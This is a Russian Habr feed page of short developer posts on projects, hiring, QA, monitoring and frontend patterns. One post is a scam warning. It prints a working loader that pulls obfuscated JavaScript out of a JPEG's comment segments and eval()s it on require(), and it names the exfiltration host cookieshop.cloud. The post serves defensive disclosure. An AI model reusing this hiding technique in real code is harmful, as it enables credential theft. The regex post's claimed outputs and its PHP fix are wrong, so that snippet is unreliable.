Представлен открытый проект WebKit CSSFontFace Exploit for PS4/PS5, который прошивает игровую консоль меньше чем за минуту. Работает через подмену кода в браузере: пока WebKit пытается считать CSS-код страницы, запускается эксплойт системы. Решение запускается на прошивках с версиями от 6.00 до 11.02 и совместимо с kernel-эксплойтом для версий 7.00–11.02, позволяя запускать HEN и другие пэйлоды. Минусы проекта: перепрошивку придётся активировать при каждом перезапуске консоли.

JavaScript *
Прототипно-ориентированный язык программирования
Превращаем свой почерк в устанавливаемый шрифт. Вышел открытый навык draw-your-font для Claude Code, который собирает полноценный TTF по фотографии. Достаточно написать алфавит на листе бумаги, сфотографировать его и загрузить снимок в Claude. Нейросеть сама распознает буквы, очистит изображение и соберет готовый шрифт. Если какая-то буква получилась неудачно, Claude заметит это и предложит переписать символ перед финальной сборкой.
Фронтенд для души, бэкенд для людей!
Были приняты меры погрузиться под воду дабы показать серьезность моих намерений в данной щепетильной теме.
Фронтенд весь такой разносторонний, креативный, местами легкий, местами настолько сложный что ломаешь голову. Напрашивается клеймо "для любителей".
Бэкенд наоборот поддерживает порядок и структурность. Меньше экспериментов и больше проверенных решений, самое то для "сделал работу - пошел спокойно домой".
Представлен открытый проект Send it, with PairDrop (веб-версия проекта) — AirDrop для всех. Это универсальный способ передачи файлов на ПК и мобильных устройствах в браузере между Windows, Linux, Android, iOS, macOS и другими ОС:
работает без скачиваний драйверов и утилит и дополнительного ПО;
просто открываем сайт на обоих устройствах в браузере и начинаем передачу;
если используете одну сеть Wi‑Fi — устройства сразу увидят друг друга;
если используете разные сети — нужно один раз ввести шестизначный код, создать пару устройств, и дальше устройства будут находить друг друга автоматом;
передача файлов идем напрямую между устройствами;
можно передавать большие объёмы данных без ограничений.

Хай, коллеги!
Около полутора месяцев назад, работая над задачей дообучения локальной модели ИИ, я наткнулся на Modern Web Guidance - сборник руководств (skills - навыков) по современной веб-разработке для агентов ИИ от команды Google Chrome. Ознакомившись со сборником, я понял, что большинство руководств человекам тоже не помешали бы😄 Так появился этот репозиторий. Основная работа над руководствами завершена. Любые исправления, замечания и предложения приветствуются. Пользуйтесь на здоровье и счастливого кодинга!
Про перегрев рынка разработчиков не писал только ленивый, мне даже кажется, что среди фронтов проблема найма стоит острее, так как порог вхождения туда не так высок. Найти хорошую работу спецу во фронте, кажется стало сродни поймать золотую рыбку, хотя некоторым это удаётся.
Даже если отправить пол сотни откликов с резюме опытного фронта на hh, с небольшими зарплатными требованиями, не факт, что хоть в одной фирме тебя позовут на собес.
Более того, у этой проблемы есть и вторая сторона: совсем молодые выпускники курсов, самоучки, большинство из которых даже не окончили вуз или даже еще никуда не поступили, оценивающие себя как сеньора или минимум мидла, по причине огромной наглости или глупости, в силу везения или неграмотного рекрутера попадают на работу без должной оценки и выбивают себе высокие зп, порой не меньше чем у старых сотрудников, конечно как правило их увольняют, но к этому моменту они успевают попортить продукт и нервы тем сотрудникам, кто будет пытаться их учить.

Кажется, что квалификация многих новых разрабов, особенно фронтов, сейчас очень низка, также как и тех кто ведёт их найм, и это не в единичных фирмах, я сталкивался с таким в половине мест где я работал.
Также сдаётся мне, что hh совершенно не подходит для поиска работы разработчиком.
В связи с этим хотел бы попросить совета у коллег по цеху, особенно фронтовиков, в форме трех следующих вопросов:
1. Где лучше искать работу, на каком ресурсе?
2. Замечаете ли вы, что hr часто набирают не тех кто реально способен, а тех кто умело врет или красиво улыбается?
3. Стоит ли искать работу фронту или стоит сменить профессию?
Привет. Я пишу бэкенд на Go, люблю строгую типизацию и предсказуемость. Но игнорировать тему ИИ-ассистентов глупо, поэтому я решил проверить, насколько они применимы для сборки нормального, защищенного проекта, а не просто кривых прототипов.
Чтобы эксперимент был чистым, взял стек, с которым не работаю каждый день: Node.js (Express 5) и Vanilla JS. На выходе получился хаб с утилитами: https://toolkitch.ru/
Главная идея проекта - простые инструменты средствами компьютера. Меня всегда раздражало, что популярные онлайн-сервисы гоняют данные на свои сервера, хотя по факту это может выполняться на компьютере. Здесь инструменты работают строго client-side, то есть в браузере пользователя. Ничего не устанавливал и не скачивал, но выполнил на компьютере.
По технической части:
Express 5 и Bootstrap 5.
Безопасность: настроил Helmet, прописал строгие CSP заголовки и CORS.
Деплой: GitHub Actions -> Docker Hub -> docker-compose -> Traefik с авто-SSL.
Писать код помогал ИИ-ассистент KodaCode. Впечатления положительные: нейронка полностью сняла с меня рутину вроде написания докер-файлов, конфигов Traefik и однотипной верстки под 7+ разных инструментов. Моя задача сводилась к контролю архитектуры и безопасности.
Сайт оптимизировал в том числе под ИИ-поисковики (GEO/AEO), чтобы тот же Яндекс Нейро или Perplexity могли индексировать страницы и предлагать эти утилиты пользователям по прямым запросам.
Посмотреть, что получилось, можно по ссылке выше. Будет интересно узнать, как вы используете ИИ в своей инженерной рутине, и какие специализированные плагины/инструменты можете порекомендовать. За критику по UI/UX сайта также буду благодарен.
Хай, коллеги!
Около месяца назад, работая над задачей дообучения локальной модели ИИ, я наткнулся на Modern Web Guidance - сборник руководств (skills - навыков) по современной веб-разработке для агентов ИИ от команды Google Chrome. Ознакомившись со сборником, я понял, что большинство руководств человекам тоже не помешали бы😄 Так появился этот репозиторий. Большая часть руководств, выбранных мной для перевода и адаптации, уже готова. Любые исправления, замечания и предложения приветствуются. Пользуйтесь на здоровье и счастливого кодинга!
Представлен открытый проект Navidrome Music Server, который позволяет слушать музыку с ПК где угодно. Работает очень просто: пользовательский ПК превращается в сервер, к которому можно получить доступ с любого устройства. Есть демо-версия проекта, чтобы понять принцип работы.

Ваш худший кошмар, или простой regex, который удивит даже опытных программистов.
re.match(r"^abc$", "abc\n") # python/^abc$/.test("abc\n") // Javascriptpreg_match("/^abc$/", "abc\n"); // PHPНе читайте дальше, попробуйте угадать какой вывод будет у каждого из вариантов?
False?
True ?
Правильный ответ:
False
True
FalseЖивите с этим :)
Всё дело в том, что в PCRE $ означает не "конец строки", а "конец строки, или позиция перед \n в конце строки". А в ECMAScript это не так.
Лично я думал, что должно быть False, но регулярные выражения продолжают меня удивлять спустя много лет.
Правильный regex для точного совпадения с концом строки:
re.match(r"^abc\Z", "abc\n")// javascript идеален, нечего исправлять :)preg_match("/^abc\p/", "abc\n")== false
Почему тесты проходят, но система всё равно сломана
Классы скрытых ошибок в QA automation, которые не приводят к падению CI

Пайплайн прошёл. Логи без ошибок. Значит всё работает.
Но в реальных QA automation системах это предположение часто не выдерживает проверки.
Тесты могут проходить, даже если система сломана.
И это не редкий edge case. Есть несколько типов проблем, которые не приводят к падению CI:
False positives — тест подтверждает поведение, которое уже не соответствует бизнес‑логике. Проверка формально зелёная, смысл потерян.
Missing assertions — тест проходит, потому что не проверяет ничего критичного.
Flaky suppression — флаки ретраят или игнорируют. Шум скрывает реальные проблемы, CI выглядит стабильным.
Duplicated execution — один и тот же набор тестов запускается несколько раз из‑за конфигурации runner'а.
Contract drift — API или поведение системы меняется, но тесты продолжают проверять старые ожидания. Пока не появится явный конфликт — всё зелёное.
В проекте была добавлена пагинация к одному из API эндпоинтов. До изменения ответ выглядел так:
json [{ "id": 1 }, { "id": 2 }]После — так:
{ "data": [...], "total": 10, "page": 1, "limit": 20 }API тесты не упали: они проверяли статус и структуру нового формата — всё корректно.
Я была уверена что если API возвращает 200 и схема верна — клиент получает данные.
Но в клиентском коде была строка:
cachedRows = Array.isArray(rows) ? rows : []Для объекта Array.isArray возвращает false. Список записей стал пустым.
Формально всё работало корректно. Просто данных больше не было.Никаких ошибок в консоли. Никакого 500. Просто пустая страница.
CI остался зелёным — потому что API тесты проверяли API, а не то, как клиент использует ответ.
Дальше сработал каскад: fixture teardown тоже вызывал этот эндпоинт, получал объект вместо массива, не чистил данные — и следующие тесты падали с совершенно другой ошибкой, в совершенно другом файле.
Три теста упали из-за одного изменения shape ответа.
Ни один из них не указал на настоящую причину.
Почему CI это не ловит
CI отвечает на вопрос: «выполнились ли тесты без ошибок?»
Но не отвечает на: «имеют ли тесты смысл относительно текущей системы?»
CI реагирует только на падения. Он не знает про бизнес-инварианты, не отслеживает правильность выполнения и не видит contract drift.
Что с этим делают в зрелых системах
Начинают появляться дополнительные слои:
контрактные тесты (contract testing) — фиксируют ожидания потребителя API
явно наблюдаемость тестов — метрики не как %, а как сигналы поведения
контроль изменений API через diff-инструменты
Ни один из них не заменяет хорошие тесты. Но каждый закрывает слепое пятно, которое тесты не видят.
Финальный вывод
Тесты не доказывают, что система работает.
Они только доказывают, что система не сломалась определённым способом.
Признаки сбоя
CI зелёный
UI показывает пустой список
API возвращает 200
fixture teardown не чистил данные, занимал слот
Скрытое предположение
«Я решила что статус 200 означает, что потребитель по‑прежнему правильно читает ответ»
Как это выглядит в реальной системе
Contract drift — один из тех классов ошибок, которые можно воспроизвести намеренно. В проекте есть buggy branch именно с этим кейсом: API возвращает изменённый shape ответа, все API тесты зелёные, но клиентский код получает пустой список — без ошибок, без 500, просто тишина.
Код и структура проекта: GitHub
Из серии «Тихие отказы в тест-автоматизации»
Разборы таких кейсов с кодом — в Telegram-канале Тесты как система

Насколько сложный проект можно сделать бесплатно в 2026 году?
Всем привет!
Часто вокруг пишут, как ИИ помогает им «сделать SaaS за выходные», хайпят свои проекты и рассказывают про «миллион фич». Решил я проверить: а что реально можно сделать в 2026 году, если использовать только бесплатные тарифы и не тратить деньги?
Спойлер: получилось достаточно много.
Проект полностью экспериментальный — положится в портфолио.
Я решил сделать большой каталог, и выбрал в качестве товара приложения — PWA приложения — вдохновлялся App Store.
Что в итоге умеет платформа
Для пользователей:
- Личный кабинет с библиотекой своих приложений и избранным
- Можно оставлять комментарии, отзывы, лайки
- Сортировка по категориям, похожим на те, что в App Store
- Поиск приложений умный, использует векторное пространство имен от Google
- Приложения ранжируются по рейтингу — расчет по известной байесовской формуле — учитывает количество установок, отзывов, лайков и качество комментариев
- Задействованы, кажется, все методы установки на топ известных браузеров: от новой (2024) в один клик прямо с нашей платформы — для обладателей Chrome на ПК/Android — до пошаговых интерактивных инструкций в тех браузерах, где установка сложна или запутана
- 20 языков, 2 темы, работает офлайн. Сама платформа — тоже PWA.
Для разработчиков:
- Полноценный кабинет разработчика: управление/настройка приложений
- ИИ-перевод на 20 языков при публикации
- Импорт данных приложения со страниц AppStore и RuStore
- Автогенерация промо-картинки приложения + автопубликация в Pinterest
- Встраиваемый install-скрипт — один тег <script> на сайте разработчика добавляет умную кнопку установки
- 3 разных способа верификации приложений
Контентная часть:
- Масштабируемые промо-лендинги о преимуществах PWA
- Статьи-гайды по установке популярных приложений
- Для админа тоже есть свой интерфейс с множеством настроек
БД (Postgres + pgvector)
Supabase — $0Серверные функции
Vercel + Edge Functions — $0Фронтенд
Vercel — $0ИИ с API (переводы, эмбеддинги)
Gemini — $0Умный поиск
Google Generative Language API + Gemini
Resend — $0Авторизация
Supabase Auth (Google, GitHub, Discord, GitLab и др.) — $0
Есть пару оговорок:
- Cursor 20$ в месяц — но я и без проекта его покупал
- и доменное имя wapps.store — 8$ за год. Можно было использовать то, что предоставляет Vercel бесплатно
Меня как фронтенд разработчика впечатлил масштаб бесплатных сервисов — да действительно можно реализовать свою задумку и протестировать её на будущих пользователях.
Однако надо понимать:
- бесплатные тарифы не потянут каких-то весомых нагрузок
- вайбкодить, не понимая, что генерирует нейронка — ну такое себе. Она стабильно ошибается каждый 2–3 раз и часто просто делает дикие вещи
- ну и времени приходится потратить немало, поэтому стоит подумать несколько раз: нужно ли тебе что-то такое просто «потестировать»
Поделитесь своими примеры или существующими проектами - будет интересно!

Как я связал Zabbix и таск-трекер в обе стороны без отдельного сервиса У меня боевой Zabbix 7.0 на ~260 хостов, а заявки дежурной смены живут в Planfix. Уведомления в Telegram или Matrix никто не отменял, но когда над инцидентами работает смена, мессенджер неудобен: не видно, кто взял проблему, нет статусов и истории по задаче, сложно готовить отчеты. Хотелось, чтобы проблема мониторинга сама заводила задачу в трекере, а действия с задачей возвращались обратно в Zabbix, и всё это без сервиса-прослойки.
Очевидные пути отмёл сразу:
Бот или демон - ещё один процесс, который сам надо мониторить: новая точка отказа в системе, которая как раз следит за отказами.
Почта с парсером - не возвращает id созданной задачи обратно в Zabbix, и потом нечем связать восстановление триггера с конкретной строкой в трекере.
Требование «вернуть id задачи на событие» и определило всю архитектуру.
Прямое направление: Zabbix → трекер Собрал на штатном media type типа Webhook: один JS-скрипт по флагам события решает, какой эндпоинт трекера дёрнуть. Интереснее, где хранить связь «проблема ↔ задача». Внешнюю БД соответствий заводить не стал, обошёлся тегами события. При создании задачи скрипт возвращает Zabbix теги __zbx_planfix_taskid и __zbx_planfix_link; при process_tags=1 они вешаются на событие, и все последующие операции (подтверждение, закрытие, отмена) находят ту же задачу по тегу. Состояние живёт прямо на событии, отдельное хранилище не нужно.
Что всплыло уже в бою: отмена эскалации Уведомление «Escalation canceled» (эскалацию погасили, отключив хост или триггер) приходит с теми же флагами, что и новая проблема: event_value=1, event_update_status=0. Не различишь - скрипт примет отмену за новую проблему, заведёт дубль, и задача зависнет открытой навсегда: OK-события не будет, закрывать нечем. Поэтому скрипт сначала ищет в тексте уведомления фразу «Escalation canceled» и, только если её нет, считает событие новой проблемой. Подтверждение и снятие различаю по макросу {EVENT.UPDATE.ACTION}: в первой строке update-сообщения он разворачивается в acknowledged или unacknowledged - по этому слову задача уходит «в работу» или возвращается исполнителю по умолчанию.
Обратное направление - и оно оказалось самым интересным Делается средствами самого трекера, без отдельного сервиса. В Planfix это автоматический сценарий: событие «задача принята», условие «проект = ZABBIX», операция - POST в JSON-RPC API Zabbix, метод event.acknowledge с action=6 (подтвердить + добавить комментарий). Event ID берётся из поля задачи, того самого, что прилетел при создании. Главное: обратный вызов несёт email сотрудника, и подтверждение с комментарием проставляются в Zabbix от имени этого человека, а не безликого сервисного аккаунта. В истории события видно, кто реально взял проблему - тот, на кого назначена задача в трекере.
Что ещё пришлось учесть
maxsessions=1обязателен, иначе закрытие может обогнать создание, и правка придёт по ещё не существующей задаче.Создание задачи не идемпотентно: при ретраях возможен дубль (из Zabbix не узнать, дошёл ли запрос на самом деле), поэтому дедуп по
event_idна стороне трекера обязателен - у меня он пока в планах.Шумовой фильтр - через эскалацию: операция на шаге 2 плюс условие «подтверждено = нет», иначе проблемы, мигающие по 30 секунд, плодят задачи.
Итог: ноль дополнительных демонов, обе системы синхронны, связь хранится на самом событии. Для одной пары систем это окупается. Но чем больше разных систем хочется соединить между собой, тем громче вопрос об оркестраторе: точечные вебхуки перестают масштабироваться, хотя единая шина и есть та самая прослойка, которую потом сам обслуживаешь. Сейчас как раз думаю в эту сторону. Чем вы сшиваете зоопарк систем - оркестратором или точечными интеграциями, и где у вас прошла граница?
Ближайшие события
⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер
Привет, Хабр. Короткий пост-предупреждение.
Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».
С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.
Два артефакта:
server/back.jpg— выглядит как JPEG, но в сегментах0xFFFE(COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.server/app/services/log.service.js— функцияaddLogsForAssetsчитает JPEG, вытаскивает COMMENT-сегменты и прогоняет черезeval(). Вызов на верхнем уровне модуля — выполняется при каждомrequire()сервиса, до подключения к БД.
function addLogsForAssets(imgPath) {
const imlog = fsr.readFileSync(imgPath);
let i = 2;
const chunks = [];
while (i < imlog.length) {
if (imlog[i] !== 0xFF) break;
const marker = imlog[i + 1];
const length = imlog.readUInt16BE(i + 2);
if (marker === 0xFE) { // JPEG COMMENT marker
const data = imlog.subarray(i + 4, i + 2 + length);
chunks.push(data);
}
i += 2 + length;
}
eval(Buffer.concat(chunks).toString('utf8')); // ← payload
return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));
Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.
IoC:
Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740
Хост эксфильтрации: cookieshop.cloud
Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:
Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)
Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket
Сменить credentials в
~/.aws/,~/.config/gcloud,~/.config/herokuЗавершить все сессии:
https://github.com/settings/sessionsПрогнать антивирус
Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).
На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.
Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.
Более быстрый способ ловить подобные алерты - мой канал

Далее на Holy JS: собираем новую методологию вместо FSD и деплоим резюме
Друзья, мы собираемся на Holy JS — крупнейшей конфе про разработку с разных ракурсов.
Дима Дин, фронт-тимлид Далее
«FSD — это беда, спасет только FDA!».
Доклад с разбором методологий и экспериментом — созданием альтернативной архитектуры, которая будет отвечать ожиданиям разработчиков.
15.05 / 19.00-19.45 / зал 2
Ника Варако, HR-менеджер Далее
«Резюме как продукт: UX, баги и деплой на рынок вакансий».
Воркшоп, на котором Ника покажет примеры и антипримеры резюме, даст советы и лайфхаки по сопроводительным письмам, а главное — расскажет, как дотянуться до рекрутера в настоящих условиях найма.
14.05 / 19.45-20.45 / зал 1 (keynote)
Приходите на Holy JS, ждем в зале и на нетворке!

Долгое время думала, что использовать паттерны на фронте незачем и это больше тема для собесов
Но недавно все-таки удалось использовать паттерн фабрику для фронта и моему счастью не было предела, когда после 30-минутного рефакторинга разъехавшейся вёрстки через Claude, я попросила: "брат, слушай это ж паттерн фабрика, сделай BaseModal тонким, который просто решает, какой компонент отрисовать"
Технически, классический GoF Factory Method подразумевает наследование, а здесь у меня скорее Simple Factory — функция, выбирающая что создать. Но в обиходе все называют это "фабрикой", и я не буду усложнять.
Классический паттерн фабрика на Java:
// Интерфейс
interface Modal {
void open();
void close();
}
// Конкретные реализации
class Dialog implements Modal { ... }
class BottomSheet implements Modal { ... }
class FullscreenSheet implements Modal { ... }
// Фабрика — решает какой класс создать
class ModalFactory {
static Modal create(String type, boolean isMobile) {
if (!isMobile) return new Dialog();
return switch (type) {
case "bottom-sheet" -> new BottomSheet();
case "fullscreen" -> new FullscreenSheet();
default -> new Dialog();
};
}
}
// Использование
Modal modal = ModalFactory.create("bottom-sheet", isMobile);
modal.open();Как это работает во Vue?
На фронте есть
<component :is="..."/>- динамический компонент, который рендерит то, что ему передадут. Это и есть наш аналогModalFactory.create(...).
<!-- BaseModal.vue — фабрика -->
<template>
<component
:is="modalComponent"
v-bind="$props"
@close="emit('close')"
>
<slot />
</component>
</template>
<script setup>
// Фабричный метод — выбирает компонент
const modalComponent = computed(() => {
// Desktop → всегда Dialog (центрированный)
if (!isMobile.value) return BaseDialog
// Mobile → зависит от mobileStyle
switch (props.mobileStyle) {
case 'fullscreen':
return BaseFullscreenSheet
case 'bottom-sheet':
return BaseBottomSheet
default:
return BaseDialog
}
})
</script>Получился BaseModal, который сам почти ничего не делает.
Он не знает, как устроен dialog.
Не знает, как анимируется bottom sheet.
Не знает, как выглядит fullscreen-модалка.
Он просто маршрутизирует:
BaseModal.vue
├─ BaseDialog.vue
├─ BaseBottomSheet.vue
└─ BaseFullscreenSheet.vue А каждая конкретная реализация живёт отдельно и отвечает только за себя.
Почему это лучше, чем один большой компонент?
Потому что большой универсальный компонент очень быстро превращается в кашу:
<!-- Каша в template -->
<div
class="modal"
:class="{
'modal--open': open,
'modal--mobile': isMobile,
'modal--desktop': !isMobile,
'modal--fullscreen': isMobile && mobileStyle === 'fullscreen',
'modal--bottom-sheet': isMobile && mobileStyle === 'bottom-sheet',
}"
>А потом туда добавляются:
разные анимации
разные отступы и размеры
разное поведение закрытия
разные transition
разные layout-правила
И компонент, который должен был быть базовой модалкой, внезапно становится местом, куда страшно заходить.
С фабрикой проще:
BaseDialogотвечает за centered dialogBaseBottomSheetотвечает за bottom sheetBaseFullscreenSheetотвечает за fullscreenBaseModalтолько выбирает, что показать
То есть вместо одного монолита появляется тонкий слой выбора и несколько изолированных компонентов.
И кстати, поделитесь: насколько паттерны актуальны сейчас? Или про них всё рассказали 20 лет назад и хватит говорить о них?
Как настроить доступ к Избранному — без ЛК и авторизации на сайте

Привет, Хабр! Меня зовут Катя Плаксина, я фронтенд-разработчик в Далее. Хочу поделиться решением, которое позволило реализовать возможность сохранения в Избранное без авторизации для пользователей одного крупного портала.
Почему стало необходимо реализовать такое решение? Во-первых, необходимость авторизации — одна из причин высоких отказов на сайте. Таким образом, мы просто облегчаем путь пользователя до цели. Во-вторых, без авторизации мы не собираем персональные данные, а значит, минимизируем риски, связанные с их хранением и передачей.
В чем технический вызов
Если страница работает через SSR, например, на Astro, серверу нужны данные заранее. Но если весь «источник правды» лежит в localStorage, сервер их не видит — браузерное хранилище доступно только на клиенте.
Без дополнительной логики страница будет рендериться пустой или требовать авторизации и бэкенда. Нужен промежуточный слой, который позволит передать минимальное состояние Избранного на сервер.
Разделяем хранилище на два слоя
Полный стейт Избранного остается в localStorage — там можно хранить существенно больше данных, чем в cookie, и удобно управлять состоянием на клиенте.
Легкий SSR-снапшот размещаем в cookie, кладем только favorites_preview:
первые 3–4 ID в каждой категории,
активные теги,
размер.
Сервер читает cookie и рендерит превью Избранного.
Что происходит после гидратации
Когда страница загрузилась, клиент сравнивает cookie и localStorage, дотягивает расхождения, корректно показывает или скрывает пустые состояния.
Чтобы избежать ошибок:
Добавляем mounted-флаг — не используем браузерные API во время SSR.
Настраиваем синхронизацию между вкладками через системное событие storage.
Используем кастомное событие
favorites:changedдля текущей вкладки. Storage в ней не срабатывает.
В итоге состояние Избранного остается консистентным во всех вкладках.
Почему не хранить всё только в cookie
Можно было ограничиться одним механизмом — хранить Избранное полностью в cookie. Но у такого подхода есть явные минусы:
cookie ограничены по объему,
перегрузка HTTP-запросов,
неудобное управление состоянием на клиенте.
Если хранить всё только в cookie, страдают производительность и масштабируемость решения.
Что получаем в итоге
На клиенте остается полноценное управление состоянием через localStorage.
Страница рендерится сразу с данными. Сервер читает легкий снэпшот из cookie и формирует превью избранного ещё до загрузки клиента.
Пользователь может вернуться к Избранному даже на следующий день — при заходе с того же устройства и браузера.
Буду рада узнать о вашем опыте реализации подобных задач в комментариях.
текст перенесён в корпоративный блог
https://habr.com/ru/companies/habr_rutube/articles/1028574/

Поскольку в голосовании в предыдущей статье победил вариант с AI, сделал пока простенький его вариант.
Также теперь можно кликать два раза по гексу с противником, чтобы атаковать его (старый способ с выбором позиции атаки остался). Тачи поддерживаются.
На очереди: стрелки, летуны и статичные объекты.
Мультиязычность. Ад для разработчика.
Сейчас для моего движка понадобилась мультиязычность. Ну как понадобилась - на гитхабе прозрачно намекнули, что негоже одной гордой cms для ведения блога быть сугубо на русском языке.
И понеслась...

Это хорошо, что сейчас есть нейросети и они здорово упрощают процесс перевода. Но - по старинке все делаю вручную, каждый файл...Сначала размечаю обыкновенными дефайнами либо класс контроллера, либо шаблона, ну а потом выношу это все в соответствующие языковые папки.
Вайбкодеры меня наверняка закидали бы тапками, мол - все можно автоматизировать и перевести хоть тонну файлов за 20 минут. Но - мне это не в кайф =)
Кто хочет помочь в процессе перевода, а заодно и движок потестить - милости прошу: https://github.com/pechoradev/BloggyCms